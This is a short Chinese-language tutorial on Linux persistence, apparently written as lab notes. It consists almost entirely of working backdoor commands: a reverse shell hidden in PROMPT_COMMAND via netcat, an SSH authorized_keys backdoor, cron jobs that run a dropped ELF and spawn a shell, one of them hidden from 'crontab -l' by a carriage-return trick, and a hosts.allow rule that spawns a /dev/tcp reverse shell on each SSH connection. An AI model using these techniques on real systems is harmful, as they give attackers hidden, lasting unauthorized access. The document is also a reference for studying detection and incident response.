Linux权限维持

以下仅在自己虚拟机上进行测试

PROMPT_COMMAND

先在ubuntu自身监听6666端口

nc –lvvp 6666

然后在ubuntu上执行下列命令:

export PROMPT_COMMAND=”nc -e /bin/bash 127.0.0.1 6666 &”

此时nc已经获取到权限

SSH 公钥免密登陆

在ubuntu上生成公钥,命令:

ssh-keygen -t rsa

公钥生成目录:/root/.ssh/id_rsa.pub

将该目录下的公钥放到kali的/root/.ssh目录下,并改名为authorized_keys

在ubuntu上使用SSH登录kali,可直接免密登录

Crontab后门

在ubuntu上执行下列命令:

(crontab -l;echo ‘*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash –noprofile -i’)|crontab –

查看crontab

crontab –l

在ubuntu上执行下列命令:

(crontab -l;printf “*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash –noprofile -i;\rno crontab for `whoami`%100c\n”)|crontab –

查看crontab

crontab –l

使用特权用户查看

less /var/spool/cron/crontabs/用户名

TCP Wrappers

在ubuntu上修改/etc/hosts.allow文件

在后面追加:

ALL: ALL: spawn (bash -c “/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1”) & :allow

保存

在本地监听6666端口,然后使用SSH连接本地,本地6666就可以获得shell